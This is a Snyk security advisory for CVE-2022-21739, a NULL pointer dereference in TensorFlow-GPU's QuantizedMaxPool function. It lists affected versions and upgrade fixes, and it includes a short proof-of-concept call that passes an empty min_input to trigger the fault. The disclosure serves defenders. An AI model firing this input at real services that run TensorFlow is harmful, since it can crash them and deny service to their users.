NULL Pointer Dereference Affecting tensorflow-gpu package, versions [,2.5.3)[2.6.0,2.6.3)[2.7.0,2.7.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.16% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-2393349
  • published3 Feb 2022
  • disclosed3 Feb 2022
  • creditFaysal Hossain Shezan

Introduced: 3 Feb 2022

CVE-2022-21739  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.5.3, 2.6.3, 2.7.1 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference via the implementation of the QuantizedMaxPool() function, which has an undefined behavior where user-controlled inputs can trigger a reference binding to a null pointer.

###PoC

import tensorflow as tf

tf.raw_ops.QuantizedMaxPool( input = tf.constant([[[[4]]]], dtype=tf.quint8), min_input = [], max_input = [1], ksize = [1, 1, 1, 1], strides = [1, 1, 1, 1], padding = "SAME", name=None )

CVSS Scores

version 3.1